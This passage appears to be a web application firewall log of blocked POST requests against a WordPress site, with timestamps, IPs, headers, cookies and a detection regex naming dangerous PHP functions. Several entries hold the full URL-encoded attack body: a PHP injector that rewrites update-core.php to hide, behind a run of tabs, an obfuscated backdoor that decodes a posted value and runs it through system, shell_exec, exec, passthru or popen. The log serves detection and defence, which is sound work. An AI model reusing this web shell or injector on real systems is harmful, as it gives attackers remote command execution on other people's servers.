x6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqILvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:5255\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-mode:navigate\naccept:*\/*\n\nuV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:46","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:5255\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\n\nGY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:49","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524dat_flag%2520%253D%2520%2524core_engine5%2528%2524value%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524dat_flag%2529%2520%257B%2520%2524ref_pgrp%2520%253D%2520%2524core_engine6%2528%2524dat_flag%2529%253B%2520%2524core_engine7%2528%2524dat_flag%2529%253B%2520print%2520%2524ref_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5255\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3NvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nwp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/update-core.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524batch_process%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524core_engine4%2520%253D%2520%2522pa%255Cx73%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524core_engine1%2520%253D%2520%2522sy%255Cx73%255Cx74%255Cx65m%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73h%255Cx65ll%255Cx5F%255Cx65x%255Cx65c%2522%253B%2520%2524core_engine7%2520%253D%2520%2522%255Cx70%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_co%255Cx6Eten%255Cx74%255Cx73%2522%253B%2520%2524core_engine3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2528%2520%2524element%2520%252C%2520%2524dat%2520%2529%2520%257B%2520%2524flag%253D%2527%2527%253B%2520%2524s%253D0%253B%2520do%257B%2520%2524flag.%253Dchr%2528ord%2528%2524element%255B%2524s%255D%2529%255E%2524dat%2529%253B%2520%2524s%252B%252B%253B%2520%257D%2520while%2528%2524s%253Cstrlen%2528%2524element%2529%2529%253B%2520return%2520%2524flag%253B%2520%257D%2520%2524value%2520%253D%2520%2524batch_process%2528%2524_POST%255B%2522%255Cx76a%255Cx6Cue%2522%255D%2529%253B%2520%2524value%2520%253D%2520request_approved%2528%2524value%252C%25205%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524value%252C%2520%2524res_element%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524res_element%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%